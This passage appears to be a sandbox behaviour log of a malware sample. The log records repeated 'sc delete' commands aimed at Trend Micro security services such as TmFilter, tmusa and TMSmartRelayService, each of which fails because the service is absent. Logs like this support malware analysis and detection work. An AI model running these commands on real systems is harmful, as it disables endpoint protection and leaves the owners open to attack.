"c:\\windows\\system32\\sc.exe" page_root = "0x37beb000" os_pid = "0xb18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TmFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0x670 [0068.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f9f0 | out: lpSystemTimeAsFileTime=0x26f9f0*(dwLowDateTime=0xeb229110, dwHighDateTime=0x1d62701)) [0068.308] GetCurrentProcessId () returned 0xb18 [0068.308] GetCurrentThreadId () returned 0x670 [0068.308] GetTickCount () returned 0x1148160 [0068.308] QueryPerformanceCounter (in: lpPerformanceCount=0x26f9f8 | out: lpPerformanceCount=0x26f9f8*=18850650650) returned 1 [0068.308] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0068.308] __set_app_type (_Type=0x1) [0068.308] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbf7228) returned 0x0 [0068.309] __wgetmainargs (in: _Argc=0xffbfb604, _Argv=0xffbfb610, _Env=0xffbfb608, _DoWildCard=0, _StartInfo=0xffbfb050 | out: _Argc=0xffbfb604, _Argv=0xffbfb610, _Env=0xffbfb608) returned 0 [0068.309] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.312] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.312] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.312] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.312] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.312] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.312] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.312] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.312] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.312] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.312] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.312] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.312] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.312] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.312] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.312] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.312] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.312] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.312] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.312] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.312] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.313] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.313] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.313] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.313] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x404370 [0068.319] OpenServiceW (hSCManager=0x404370, lpServiceName="TmFilter", dwDesiredAccess=0x10000) returned 0x0 [0068.320] GetLastError () returned 0x424 [0068.320] _itow (in: _Dest=0x424, _Radix=2553944 | out: _Dest=0x424) returned="1060" [0068.320] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffbfb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.323] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f810, nSize=0x2, Arguments=0x26f840 | out: lpBuffer="跀@") returned 0x62 [0068.323] GetFileType (hFile=0x120) returned 0x3 [0068.323] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x408ea0 [0068.323] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x408ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n@", lpUsedDefaultChar=0x0) returned 98 [0068.323] WriteFile (in: hFile=0x120, lpBuffer=0x408ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f7b8, lpOverlapped=0x0 | out: lpBuffer=0x408ea0*, lpNumberOfBytesWritten=0x26f7b8*=0x62, lpOverlapped=0x0) returned 1 [0068.323] LocalFree (hMem=0x408ea0) returned 0x0 [0068.324] LocalFree (hMem=0x408dc0) returned 0x0 [0068.324] LocalFree (hMem=0x0) returned 0x0 [0068.324] CloseServiceHandle (hSCObject=0x404370) returned 1 [0068.328] exit (_Code=1060) Thread: id = 109 os_tid = 0x48c Process: id = "55" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x376f0000" os_pid = "0x700" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TMLWCSService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 110 os_tid = 0x640 [0068.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fe70 | out: lpSystemTimeAsFileTime=0x16fe70*(dwLowDateTime=0xeb2c1690, dwHighDateTime=0x1d62701)) [0068.380] GetCurrentProcessId () returned 0x700 [0068.380] GetCurrentThreadId () returned 0x640 [0068.380] GetTickCount () returned 0x114819f [0068.380] QueryPerformanceCounter (in: lpPerformanceCount=0x16fe78 | out: lpPerformanceCount=0x16fe78*=18857872934) returned 1 [0068.382] GetModuleHandleW (lpModuleName=0x0) returned 0xff7c0000 [0068.382] __set_app_type (_Type=0x1) [0068.382] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7c7228) returned 0x0 [0068.382] __wgetmainargs (in: _Argc=0xff7cb604, _Argv=0xff7cb610, _Env=0xff7cb608, _DoWildCard=0, _StartInfo=0xff7cb050 | out: _Argc=0xff7cb604, _Argv=0xff7cb610, _Env=0xff7cb608) returned 0 [0068.383] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.385] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.385] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.385] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.385] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.385] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.385] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.385] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.385] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.385] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.386] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.386] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.386] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.386] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.386] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.386] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.386] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.386] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.386] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.386] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.386] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.386] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.386] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.386] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.386] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2f43d0 [0068.391] OpenServiceW (hSCManager=0x2f43d0, lpServiceName="TMLWCSService", dwDesiredAccess=0x10000) returned 0x0 [0068.391] GetLastError () returned 0x424 [0068.391] _itow (in: _Dest=0x424, _Radix=1506520 | out: _Dest=0x424) returned="1060" [0068.391] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.393] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fc90, nSize=0x2, Arguments=0x16fcc0 | out: lpBuffer="趰/") returned 0x62 [0068.394] GetFileType (hFile=0x120) returned 0x3 [0068.394] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2f8e90 [0068.394] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2f8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n/", lpUsedDefaultChar=0x0) returned 98 [0068.394] WriteFile (in: hFile=0x120, lpBuffer=0x2f8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16fc38, lpOverlapped=0x0 | out: lpBuffer=0x2f8e90*, lpNumberOfBytesWritten=0x16fc38*=0x62, lpOverlapped=0x0) returned 1 [0068.394] LocalFree (hMem=0x2f8e90) returned 0x0 [0068.394] LocalFree (hMem=0x2f8db0) returned 0x0 [0068.394] LocalFree (hMem=0x0) returned 0x0 [0068.394] CloseServiceHandle (hSCObject=0x2f43d0) returned 1 [0068.396] exit (_Code=1060) Thread: id = 111 os_tid = 0x7b0 Process: id = "56" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36ff5000" os_pid = "0x364" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete tmusa" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 112 os_tid = 0x6dc [0068.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f7d0 | out: lpSystemTimeAsFileTime=0x22f7d0*(dwLowDateTime=0xeb37fd70, dwHighDateTime=0x1d62701)) [0068.448] GetCurrentProcessId () returned 0x364 [0068.448] GetCurrentThreadId () returned 0x6dc [0068.448] GetTickCount () returned 0x11481ed [0068.448] QueryPerformanceCounter (in: lpPerformanceCount=0x22f7d8 | out: lpPerformanceCount=0x22f7d8*=18864637349) returned 1 [0068.449] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0068.450] __set_app_type (_Type=0x1) [0068.450] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3d7228) returned 0x0 [0068.450] __wgetmainargs (in: _Argc=0xff3db604, _Argv=0xff3db610, _Env=0xff3db608, _DoWildCard=0, _StartInfo=0xff3db050 | out: _Argc=0xff3db604, _Argv=0xff3db610, _Env=0xff3db608) returned 0 [0068.451] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.453] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.453] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.453] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.453] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.453] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.453] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.453] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.453] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.453] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.453] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.453] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.453] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.453] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.453] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.454] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.454] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.454] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.454] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.454] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.454] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.454] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.454] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.454] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.454] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x84370 [0068.459] OpenServiceW (hSCManager=0x84370, lpServiceName="tmusa", dwDesiredAccess=0x10000) returned 0x0 [0068.459] GetLastError () returned 0x424 [0068.459] _itow (in: _Dest=0x424, _Radix=2291256 | out: _Dest=0x424) returned="1060" [0068.459] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.462] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f5f0, nSize=0x2, Arguments=0x22f620 | out: lpBuffer="跀\x08") returned 0x62 [0068.462] GetFileType (hFile=0x120) returned 0x3 [0068.462] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x88ea0 [0068.462] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x88ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x08", lpUsedDefaultChar=0x0) returned 98 [0068.462] WriteFile (in: hFile=0x120, lpBuffer=0x88ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f598, lpOverlapped=0x0 | out: lpBuffer=0x88ea0*, lpNumberOfBytesWritten=0x22f598*=0x62, lpOverlapped=0x0) returned 1 [0068.462] LocalFree (hMem=0x88ea0) returned 0x0 [0068.462] LocalFree (hMem=0x88dc0) returned 0x0 [0068.462] LocalFree (hMem=0x0) returned 0x0 [0068.463] CloseServiceHandle (hSCObject=0x84370) returned 1 [0068.464] exit (_Code=1060) Thread: id = 113 os_tid = 0x518 Process: id = "57" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37afa000" os_pid = "0x57c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TmPreFilter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 114 os_tid = 0x570 [0068.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afb30 | out: lpSystemTimeAsFileTime=0x1afb30*(dwLowDateTime=0xeb4182f0, dwHighDateTime=0x1d62701)) [0068.518] GetCurrentProcessId () returned 0x57c [0068.518] GetCurrentThreadId () returned 0x570 [0068.518] GetTickCount () returned 0x114822b [0068.518] QueryPerformanceCounter (in: lpPerformanceCount=0x1afb38 | out: lpPerformanceCount=0x1afb38*=18871668556) returned 1 [0068.519] GetModuleHandleW (lpModuleName=0x0) returned 0xff240000 [0068.520] __set_app_type (_Type=0x1) [0068.520] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff247228) returned 0x0 [0068.520] __wgetmainargs (in: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608, _DoWildCard=0, _StartInfo=0xff24b050 | out: _Argc=0xff24b604, _Argv=0xff24b610, _Env=0xff24b608) returned 0 [0068.521] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.523] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.523] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.523] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.523] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.523] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.523] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.523] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.523] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.523] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.523] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.524] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.524] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.524] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.524] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.524] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.524] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.524] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.524] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.524] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.524] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.524] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.524] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.524] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.525] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x284370 [0068.528] OpenServiceW (hSCManager=0x284370, lpServiceName="TmPreFilter", dwDesiredAccess=0x10000) returned 0x0 [0068.529] GetLastError () returned 0x424 [0068.529] _itow (in: _Dest=0x424, _Radix=1767832 | out: _Dest=0x424) returned="1060" [0068.529] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff24b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.531] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af950, nSize=0x2, Arguments=0x1af980 | out: lpBuffer="跀(") returned 0x62 [0068.531] GetFileType (hFile=0x120) returned 0x3 [0068.531] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x288ea0 [0068.531] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x288ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n(", lpUsedDefaultChar=0x0) returned 98 [0068.531] WriteFile (in: hFile=0x120, lpBuffer=0x288ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af8f8, lpOverlapped=0x0 | out: lpBuffer=0x288ea0*, lpNumberOfBytesWritten=0x1af8f8*=0x62, lpOverlapped=0x0) returned 1 [0068.531] LocalFree (hMem=0x288ea0) returned 0x0 [0068.531] LocalFree (hMem=0x288dc0) returned 0x0 [0068.532] LocalFree (hMem=0x0) returned 0x0 [0068.532] CloseServiceHandle (hSCObject=0x284370) returned 1 [0068.533] exit (_Code=1060) Thread: id = 115 os_tid = 0x64 Process: id = "58" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x375ff000" os_pid = "0x828" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TMSmartRelayService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 116 os_tid = 0xa6c [0068.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efef0 | out: lpSystemTimeAsFileTime=0x1efef0*(dwLowDateTime=0xeb4b0870, dwHighDateTime=0x1d62701)) [0068.581] GetCurrentProcessId () returned 0x828 [0068.581] GetCurrentThreadId () returned 0xa6c [0068.581] GetTickCount () returned 0x1148269 [0068.581] QueryPerformanceCounter (in: lpPerformanceCount=0x1efef8 | out: lpPerformanceCount=0x1efef8*=18877934323) returned 1 [0068.582] GetModuleHandleW (lpModuleName=0x0) returned 0xffa70000 [0068.582] __set_app_type (_Type=0x1) [0068.582] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa77228) returned 0x0 [0068.582] __wgetmainargs (in: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608, _DoWildCard=0, _StartInfo=0xffa7b050 | out: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608) returned 0 [0068.583] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.585] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.585] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.585] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.585] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.585] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.585] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.585] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.585] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.585] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.585] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.585] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.585] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.585] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.585] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.585] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.585] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.585] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.585] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.585] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.585] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.585] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.586] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2a43e0 [0068.590] OpenServiceW (hSCManager=0x2a43e0, lpServiceName="TMSmartRelayService", dwDesiredAccess=0x10000) returned 0x0 [0068.590] GetLastError () returned 0x424 [0068.590] _itow (in: _Dest=0x424, _Radix=2030936 | out: _Dest=0x424) returned="1060" [0068.590] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa7b740, nSize=0x400, Arguments=0x0 | 